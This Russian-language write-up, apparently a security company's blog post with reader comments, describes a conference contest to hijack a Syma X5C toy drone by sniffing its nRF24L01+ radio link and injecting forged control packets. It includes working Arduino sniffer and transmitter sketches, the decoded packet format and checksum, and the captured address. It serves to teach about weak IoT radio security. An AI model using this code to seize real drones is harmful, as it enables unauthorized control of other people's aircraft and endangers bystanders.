PHD VI: как у нас угнали дрона



    В этом году на PHDays был представлен новый конкурс, где любой желающий мог перехватить управление квадрокоптером Syma X5C. Производители часто полагают, что если они используют не IP-технологии, а какой-нибудь другой беспроводной стандарт, то можно не думать о защищенности. Как будто хакеры махнут рукой, решив, что разбираться с чем-то, кроме IP, — это слишком долго, сложно и дорого.

    Но на самом деле, как мы уже много раз упоминали, SDR (software-defined radio) — отличный инструмент для доступа в мир IoT, где уровень вхождения определяется уровнем добросовестности производителя IoT-решений. Однако даже не имея SDR можно творить чудеса, пусть и в ограниченном пространстве частот и протоколов.

    Цель — перехватить управление дроном.

    Входные данные:

    • диапазон управления дроном: 2,4 ГГц ISM,
    • управление осуществляется модулем nRF24L01+ (на самом деле — его клоном BK2423).

    Средства (выдавались желающим): Arduino Nano, nRF24L01+.

    Результат — угонщик получил Syma X8C в подарок.

    Так как среди желающих угнать наш дрон оказались уже подготовленные люди, имеющие в арсенале HackRF, BladeRF и другие серьезные игрушки, мы опишем два метода — SDR и непосредственно nRF24L01+.

    Путь самурая — SDR


    Первым делом необходимо найти каналы, на которых работает данный пульт. Но перед этим стоит пробежаться по даташиту, чтобы понять, что вообще искать. Первое, что нам необходимо, это организация частот.



    Теперь мы знаем, что всего имеется 126 каналов с шагом в 1 МГц. Еще полезно было бы узнать ширину канала и битрейт, на будущее.



    Вообще можно все сделать и без этих знаний, ведь далеко не всегда известно, из чего состоит передатчик. Итак, запускаем сканер спектра. Мы используем UmTRX и максимально возможный для него bandwidth — 13 МГц.







    Мы не стали приводить скриншоты всего спектра, но как найти подобные данные в радиоэфире — должно быть понятно. Можем увидеть, что с определенной периодичностью данные появляются на 25, 41, 57 и 73 каналах.

    Несмотря на то, что даташит однозначно указывает модуляцию, в жизни у нас не всегда есть даташит к перехватываемому девайсу. Поэтому собираем простейшую схему в GNU Radio и записываем любой из найденных каналов.



    Похоже, что bandwidth <= 800 КГц; согласно даташиту, это значит, что битрейт — 250 Кбит/с.

    Теперь мы хотим посмотреть на записанные данные; запускаем baudline, в котором открываем записанный файл с правильными параметрами, — и видим нечто подобное:



    Выбираем один из подсвеченных пиков и открываем окно waveform.



    Вверху видим записанный сигнал; похоже, мы все сделали правильно, по переходам фазы становится очевидно, что это FSK/GFSK-модуляция.

    Далее нам необходимо поставить демодулятор и немного отфильтровать лишнее.



    Открываем результат, картина выглядит иначе, теперь находим темную полосу и открываем waveform.



    Фактически дело сделано, высокий уровень — единица, низкий — ноль. А по таймлайну можно определить период импульса и посчитать битрейт.

    В самом начале передатчик настраивается на частоту передачи и передает только несущую, затем идет преамбула, состоящая из последовательности 0 и 1, в разных чипах она может отличаться как длиной, так и содержанием, в nRF24L01+ она составляет 1 байт 0xAA или 0x55, в зависимости от старшего бита адреса, в нашем случае преамбула 0xAA. Затем идут байты адреса, в nRF24L01+ адрес может составлять от 3 до 5 байт (забегая вперед: это не совсем так).



    Теперь мы знаем адрес (0xa20009890f). Для дальнейшего анализа необходимо сделать небольшую автоматизацию, например так:



    На выходе получится файл, состоящий из последовательности 0 и 1:

    $ hexdump -C test3.raw
    


    Один из наших пакетов можно найти по смещению 0x5e25:



    Что с этим делать дальше — каждый решит для себя сам, но необходимо подобрать длину пакета и тип используемой CRC. Мы написали утилиту, которая анализирует файл и пытается найти преамбулу, после которой пытается подсчитать CRC для разных вариантов длины payload и адреса двумя разными способами (см. даташит). У нас получилось так:



    Однако позже пришло понимание, что Python годится только для анализа в офлайне, а «переваривать» данные в реальном времени с битрейтом даже 250 Кбит/с весьма проблематично, не говоря уже о более высоких скоростях. Так родилась вторая версия на C, которая работает в режиме реального времени.



    Итак, имея payload, остается разобраться уже в самом протоколе Syma.

    Путь нищеброда — Arduino и nRF24L01+




    Этот способ, в отличие от описанного выше, не требует практически никаких знаний в области радио, и стоит крайне дешево (Arduino — 2 $, nRF24L01+ — 1 $ и примерно столько же на провода mini-USB и DuPont), однако требует некоторой смекалки и навыков гугления. Именно его участникам конкурса мы и предлагали повторить.

    Основная проблема в том, что nrf24l01+ не имеет promiscuous режима. Однако сам модуль имеет несколько странных особенностей, первая — в даташите есть интересная вещь:



    Если выставить этот регистр в «00», то адрес будет 2 байта. Далее есть еще одна интересная особенность: обычно преамбула передается и используется для того, чтобы приемник мог подстроиться под передатчик, именно для этого чаще всего в качестве преамбулы передается последовательность нулей и единиц. Вторая особенность модуля nRF24L01+: он не ищет преамбулу и никак ее не использует, он ищет адрес, который записан в качестве принимаемого. Если посмотреть на передаваемый сигнал на скриншотах выше, можно также заметить, что перед началом передачи преамбулы передатчик вещает несущую; опытным путем было выявлено, что чаще всего nRF24L01+ воспринимает ее как 0x00 (иногда как 0xFF, реже как случайный байт). Таким образом, используя эти недокументированные особенности мы можем перевести nRF24L01+ в promiscuous mode — установив длину адреса в 2 байта, а сам адрес как 0x00AA или 0x0055. В одном из вариантов мы будем получать данные, сдвинутые на 1 бит. Кроме того, можно принимать данные без проверки CRC.

    Теперь у нас есть все необходимые теоретические знания. Используем библиотеку RF24 (github.com/TMRh20/RF24), хотя в ней есть недостаток: в файле RF24.cpp в функции

    void RF24::setAddressWidth(uint8_t a_width){
    	if(a_width -= 2){
    		write_register(SETUP_AW,a_width%4);
    		addr_width = (a_width%4) + 2;
    	}
    }
    

    следует удалить проверку валидности:

    void RF24::setAddressWidth(uint8_t a_width){
    	a_width -= 2;
    	write_register(SETUP_AW,a_width%4);
    	addr_width = (a_width%4) + 2;
    }
    
    

    Теперь пишем небольшой скетч для Arduino (данный пример для Mega, но будет работать на любой другой, нужно просто поменять CE_PIN, CSN_PIN на свои):

    #include <SPI.h>
    #include <nRF24L01.h>
    #include <RF24.h>
    #include <printf.h>
    
    #define CE_PIN  53 	/// Change it for your board
    #define CSN_PIN 48 	/// Change it for your board
    
    RF24 radio(CE_PIN, CSN_PIN); 
    
    const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
    uint64_t pipe = 0x00AA;
    
    byte buff[32];
    byte chan=0;
    byte len = 32;
    byte addr_len = 2;
    
    void set_nrf(){
      radio.setDataRate(RF24_250KBPS);
      radio.setCRCLength(RF24_CRC_DISABLED);
      radio.setAddressWidth(addr_len);
      radio.setPayloadSize(len);
      radio.setChannel(chan);
      radio.openReadingPipe(1, pipe);
      radio.startListening();  
    }
    
    void setup() {
      Serial.begin(2000000);
      printf_begin();
      radio.begin();
      set_nrf();
    }
    
    long t1 = 0;
    long t2 = 0;
    long tr = 0;
    
    void loop() {
      byte in;
       if (Serial.available() >0) {
         in = Serial.read();
         if (in == 'w') {
          chan+=1;
          radio.setChannel(chan);
          Serial.print("\nSet chan: "); 
          Serial.print(chan);
         }
         if (in == 's') {
          chan-=1;
          radio.setChannel(chan);
          Serial.print("\nSet chan: "); 
          Serial.print(chan);
         }
         if (in == 'q') {
         Serial.print("\n"); 
         radio.printDetails();
         }  
       }
      while (radio.available()) {                      
        t2 = t1;
        t1 = micros();
        tr+=1;
        radio.read(&buff, sizeof(buff) );
        Serial.print("\n"); 
        Serial.print(tr);
        Serial.print("\tms: "); 
        Serial.print(millis());
        Serial.print("\tCh: ");
        Serial.print(chan);
        Serial.print("\tGet data: ");
        for (byte i=0; i<len;i++ ){
          Serial.print(tohex[(byte)buff[i]>>4]);
          Serial.print(tohex[(byte)buff[i]&0x0f]);      
        }    
      }
    }
    

    Теперь можно на серийном порте забирать готовые данные с установленного канала, смена канала осуществляется посылкой «w» и «s» в порт. Дальнейшую обработку можно производить любым удобным способом: глазами, руками, скриптами. Следует обратить внимание, что скорость порта нестандартная — 2 Мбит/c, это необходимо для того, чтобы Arduino меньше времени занималась I/O, а больше занималась делом (не забываем, что там всего лишь 16 МГц).



    После нахождения канала и поимки адреса следует установить этот адрес в качестве приемного, чтобы отфильтровать данные из космоса:

    uint64_t pipe = 0xa20009890fLL;
    byte addr_len = 5;
    



    Затем следует пробежаться по всем каналам и найти все, на которых проскакивает данный адрес. Немного наблюдаем за происходящим и замечаем, что 10, 11 и 12 байт меняются в зависимости от данных, а за ними идет последовательность случайных байтов — шум. Пробуем включить CRC16 (два последних байта) и сменить длину пакета до 10 байт:

    byte len = 10;
    radio.setCRCLength(RF24_CRC_16);
    



    Бинго! Мы смогли подобрать все необходимые настройки nRF24L01+, которые используются данным пультом, дальше дело за разбором протокола самой Syma.

    Протокол Syma


    Разобрать его совсем не сложно, записав немного активности с пульта.

    • Первый байт — значение throttle (стик газа)
    • Второй байт — значение elevator (тангаж — наклон вперед-назад), где старший бит — направление (вперед или назад), а остальные 7 — значение.
    • Третий байт — значение rudder (рысканье — поворот вокруг оси влево-вправо), где старший бит — направление (влево или вправо), а остальные 7 — значение.
    • Четвертый байт — значение aileron (крен — наклон влево-вправо), где старший бит — направление, а остальные 7 — значение.
    • Десятый байт это CRC, которая рассчитывается как XOR от первых 9 байт + 0x55, понять это — пожалуй, самое сложное.

    Остальные байты можно оставить такими же, как и перехваченные, там передаются значения регулировок нулевого положения (тримы), и несколько флагов, относящихся к работе камеры.

    Осталось сформировать какой-либо валидный пакет, например заставим дрона крутиться вокруг своей оси против часовой стрелки: 92007f000040002400de

    Ниже приведен скетч нашего перехватчика с PHDays, который выглядел вот так:



    #include <SPI.h>
    #include <nRF24L01.h>
    #include <RF24.h>
    #include <stdio.h>
    
    #define CE_PIN  48
    #define CSN_PIN 53
    
    //// syma
    uint8_t chan[4] = {25,41,57,73}; 
    const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
    uint64_t pipe = 0xa20009890fLL; 
    
    RF24 radio(CE_PIN, CSN_PIN); 
    int8_t packet[10];
    int joy_raw[7];
    byte ch=0;
    
    //// controls
    uint8_t throttle = 0;
    int8_t rudder = 0;
    int8_t elevator = 0;
    int8_t aileron = 0;
    
    //// syma checksum
    uint8_t checksum(){
        uint8_t sum = packet[0];
        for (int i=1; i < 9; i++) sum ^= packet[i];
        return (sum + 0x55);
    }
    
    //// initial
    void setup() {
      //set nrf
      radio.begin();
      radio.setDataRate(RF24_250KBPS);
      radio.setCRCLength(RF24_CRC_16);
      radio.setPALevel(RF24_PA_MAX);
      radio.setAutoAck(false);
      radio.setRetries(0,0);
      radio.setAddressWidth(5);
      radio.openWritingPipe(pipe);
      radio.setPayloadSize(10);
      radio.setChannel(25);
      //set joystick
      pinMode(A0, INPUT);
      pinMode(A1, INPUT);
      pinMode(A2, INPUT);
      pinMode(A3, INPUT);
      pinMode(A4, INPUT);
      pinMode(A5, INPUT);
      pinMode(A6, INPUT);
      digitalWrite(A3, HIGH);
      digitalWrite(A4, HIGH);
      digitalWrite(A5, HIGH);
      digitalWrite(A6, HIGH);
      //init default data
      packet[0] = 0x00;
      packet[1] = 0x00;
      packet[2] = 0x00;
      packet[3] = 0x00;
      packet[4] = 0x00;
      packet[5] = 0x40;
      packet[6] = 0x00;
      packet[7] = 0x21;
      packet[8] = 0x00;
      packet[9] = checksum();
    }
    
    void read_logitech() {
      joy_raw[0] = analogRead(A0);
      joy_raw[1] = analogRead(A1);
      joy_raw[2] = analogRead(A2);
      joy_raw[3] = !digitalRead(A3);
      joy_raw[4] = !digitalRead(A4);
      joy_raw[5] = !digitalRead(A6);
      joy_raw[6] = !digitalRead(A5);
      //little calibration
      joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
      joy_raw[0] = constrain(joy_raw[0], 0, 254);
      joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
      joy_raw[1] = constrain(joy_raw[1], 0, 254);
      joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
      joy_raw[2] = constrain(joy_raw[2], 0, 254);
    }
    
    //// main loop
    void loop() {
      read_logitech();
      throttle = joy_raw[2];
      rudder = 64*joy_raw[4] - 64*joy_raw[5];
      elevator = joy_raw[1]-127;
      aileron = joy_raw[0]-127;
      radio.openWritingPipe(pipe);
      ch +=1;
      if (ch>3) ch = 0; 
      radio.setChannel(chan[ch]);      
      packet[0] = throttle;
      if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
      if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
      if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
      packet[4] = 0x00;
      packet[5] = 0x40;
      packet[6] = 0x00;
      packet[7] = 0x21;
      packet[8] = 0x00;
      packet[9] = checksum();
      radio.write( packet, sizeof(packet) );
    }
    

    Если нет желания разбираться с Arduino, можно собрать на этой же библиотеке программу-перехватчик на Raspberry Pi.



    Готовые файлы для Raspberry — github.com/chopengauer/nrf_analyze.

    Участники и победители


    За два дня конференции в конкурсе приняли участие полтора десятка человек. Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное, на этом и держится защищенность современного интернета вещей.

    Среди участников были те, кто уже строил свои беспроводные сети на nRF24L01+, и те, кто их видел в первый раз.

    Уже в середине первого дня один из участников произвел первые попытки воздействия на дрон методом записи сигнала пульта с последующим его воспроизведением, используя SDR (replay-атака). Однако дрон от этого лишь слегка дергался как от помехи. Эта атака бесполезна по причине того, что дрон использует 4 канала с разницей между верхним и нижним в 48 МГц, и воздействия по одному каналу недостаточно для угона.

    Уже к вечеру первого дня один из участников обладал всеми необходимыми знаниями об особенностях модуля (двухбайтный адрес 0x00aa) и пытался отсканировать адрес нашего пульта, но проблема была в том, что ему попался даташит от устаревшей версии чипа nRF24L01 (без +), который не поддерживает используемый нашим дроном битрейт 250 Кбит/с. А еще он отказался использовать готовые библиотеки для работы с модулем и работал напрямую с его регистрами. Только хардкор! Ломаем ноги только об свои велосипеды ;)

    Победителем конкурса стал Глеб Чербов, которому удалось полностью перехватить управление дроном к 16 часам второго дня. Остальным участникам не удалось перехватить адрес устройства.

    Авторы конкурса: Павел Новиков и Артур Гарипов, Positive Technologies
    Positive Technologies 295,69
    Компания
    Поделиться публикацией

    Вакансии компании Positive Technologies

    • Frontend⁢ Developer
      от 100 000 руб.
      Нижний Новгород Полный рабочий день
    Комментарии 25
    • +4
      Вообще протокол там довольно забавный. В самом начале (до передёргивания рычажка) пульт флудит на адрес abacadaeaf пакетом, содержащим новый адрес (в моём случае это был f52f0c00a2), который будет использоваться в дальнейшем. Я так понял, этот адрес должен генерироваться случайным образом, но нормальный seed не сделали и поэтому генерируется всё время один и тот же. В процессе ревёрсинга наткнулся на кусок сорцов, который объясняет многое, в том числе вычисление контрольной суммы: http://www.deviationtx.com/media/kunena/attachments/3559/syma_try1.txt

      С детектированием чипа возникло больше всего проблем: я ревёрсил с помощью анализа сигналов на SPI линиях чипа и там встречались команды, которых не было в даташите nRF24L01+. Каким-то чудом по константам нагуглил исходник, приведенный выше, а по нему уже нашёл наименование чипа и даташит на него.

      // В конкурсе на phd не участвовал, если что.
      • 0
        Да, пульт сначала выполняет процедуру bind на другом канале, где передает адрес по которому будет осуществляться работа в дальнейшем, также в зависимости одного байта адреса выбираются каналы на которых будет осуществляться передача. Но перехватить процедуру bind в эфире значительно сложнее, т.к. обычно она слишком кратковременная.

        В Syma используется чип BK2423 который содержит второй банк регистров, которые активируются командой 0x53, к оригинальному nRF это не имеет никакого отношения, именно их Вы наблюдали на шине SPI
        DeviationTX – проект opensource пульта, который позволяет не ревёрсить протоколы конкретных дронов, мы надеялись на то, что кто-то из участников конкурса его найдет)
        • 0
          *от одного байта адреса
          • 0
            Используемые каналы в данном случае довольно легко детектируются с помощью флага детектора несущей из регистра RPD: у меня даже есть скетч, выдающий «водопад», с ним всё более чем наглядно видно.

            Кстати, а там правда общение с дроном однонаправленное? Мне показалось, что обратная связь там отсутствует полностью.
            • 0
              Да, данные передаются исключительно в одном направлении, и это нормальная практика для подобных устройств.
      • –10
        Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное

        Не надо сразу о плохом. Я бы тоже развернулся и ушёл, просто здраво оценив затраты времени на возню с SDR и реверсом протокола — и сколько таких дронов я мог бы купить за зарплату на основной работе за то же время. Оптимизация усилий, видите ли.


        P.S. Это не значит, что я такой тормоз — это значит, что у меня такая зарплата. ;)


        P.P.S. А для удовлетворения исследовательского зуда мне достаточно прикинуть, что решение существует.

        • НЛО прилетело и опубликовало эту надпись здесь
          • 0
            Лично я хотел бы принять участие.

            Ну так и приняли бы? Автор как раз и жалуется, что мало народу приняло участие. А я говорю, что из этого не следует, что способных и любопытных мало (а я напоминаю, что у способных могут быть другие приоритеты).

            • +1
              Вы неправильно поняли посыл, мы не жалуемся, а констатируем факт, который подтверждает то, что безопасность мира IoT держится на отсутствии внимания к нему.
              • 0
                Вы, конечно же, относитесь к способным и судите по собственному примеру? :)
                Жаль что вы все измеряете в бабках, таких бы способных людей да побольше, вот жизнь бы была… куда ни глянь, везде разработчики.
                А то люди ерундой занимаются, могли бы зарплату получать.
                • 0

                  Вы не поверите, но в некоторых {странах, компаниях} существует определённая положительная корреляция между способностями и зарплатой.


                  (Места, где корреляция отрицательная, всем известны — спасибо Мизулиной).

                  • 0
                    Дада, конечно же вы живете в правильной стране и правильной компании. Верно?
                    Можно вопрос? А зачем же вы сидите на хабре со своими способностями и зарплатой, вам же за это не платят :)
                    • 0
                      А зачем же вы сидите на хабре со своими способностями и зарплатой

                      Ну не везде же я работать должен, могу я где-то отдыхать?

                      • 0
                        Воот, а некоторые отдыхают угоняя дронов и реверся нафиг ненужные протоколы.
                        • 0
                          n1tra не читатель, а писатель?

                          Напоминаю мой первый коммент в ветке:
                          Заинтересовавшихся было гораздо больше, но многие, узнав, что ломать нужно не Wi-Fi, разочарованно уходили. Многие боятся браться за что-то новое и непонятное
                          Не надо сразу о плохом. Я бы тоже развернулся и ушёл, [...] А для удовлетворения исследовательского зуда мне достаточно прикинуть, что решение существует.
                          Я и говорю, что не все реверсят протоколы, чтобы отдохнуть; некоторые (мне кажется, что большинство) реверсит протоколы из любопытства, а отреверсив штук 5, наработав методологию и поняв, что большинство «нафиг ненужных протоколов» пишутся иНдиотами не требуют особого интеллектуального напряжения для взлома, просто (как и я) оптимизируют усилия — «а, я нечто подобное уже видел; надо будет — взломаю, а пока — только время зря тратить.»
                          • 0
                            Если все понимаете правильно, зачем намеки на зарплату, занятость и проживание в другой стране? Тупо почесать ЧСВ?
                            Думаю все уже поняли что вы-крутой опытный девелопер живущий за бугром, гребущий бабло и не занимающейся хренью, не нужно больше намеков, пожалуйста. Закончим флуд, ок? :)
                            • 0
                              Нет, я указал автору на его неверное допущение:

                              > Многие боятся браться за что-то новое и непонятное

                              И сказал, что, наоборот, дело в том, что многим просто лень браться за старое и многократно уже повторённое.
                              • 0
                                Одно другому не противоречит. Казалось бы, при чем здесь вы. Было приятно пообщаться, правда ;-)
          • 0
            DJI так ломаются? Как они данные передают?
            • 0
              DJI Lightbridge имеет три логических канала (управление, видео, телеметрия), и два физических (туда и обратно), в трех словах не рассказать как они передают данные. Кроме этого у них есть и другие уязвимые места.
            • НЛО прилетело и опубликовало эту надпись здесь
              • 0

                Это Вы ещё с X10 не возились. Я ещё лет 5 назад после близкого знакомства со всей этой "начинкой умного дома" зарёкся что-то подобное использовать в ближайшие 20 лет, потому что уровень иНдиотизма её разработчкиков (и полного игнорирования проблем как безопасности, так и совместимости) зашкаливает до невообразимых высот (знаменитое "хренак, хренак — и в продакшн"), и не вижу, чтобы положение улучшалось.

              • 0
                Сам лениво занимаюсь конструированием передатчика, совместимого с turnigy 9x, для вертолёта WLtoys v977.
                Протокол расписан в интернете, все исходники есть в проекте Deviation. В этом же проекте есть и исходники протокола для Syma X5C. Понимаю, что это неспортивно, но можно же было погуглить «Syme X5C protocol», как в своё время сделал я, когда искал протокол для вертолёта и набрёл на проект Deviation.
                • 0
                  На практике 4-х каналов для переключения хватает? Я делаю пульт для р/у авто, сделал рандомное переключение по 100 каналам с первоначальной инициализацией. Т.е. тру рандом канал на передатчике, инициализация приемника и переключение с первоначальным randomSeed, при потере пакета система самовосстанавливается. На прогоне на «стенде» при практически пустом эфире получалась потеря 1 пакета раз в 15-20 минут при частоте отправки 50Гц. В принципе меня устраивает, только думаю не усложнил ли я систему?
                  • 0
                    Несколько каналов делают для улучшения помехоустойчивости, их количество не так важно по сравнению с разносом каналов подальше друг от друга так, чтобы при активной работе одного канала WiFi все продолжало работать.

                    Главный вопрос при реализации тру рандома — алгоритм восстановления, для подобных систем потеря 90% пакетов не должна приводить к потере управления. Лучше использовать больше каналов, широкий диапазон, непредсказуемую схему переходов, кодирование с исправлением ошибок, передачу с максимально возможной частотой, ну и конечно же — шифрование.

                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                  Самое читаемое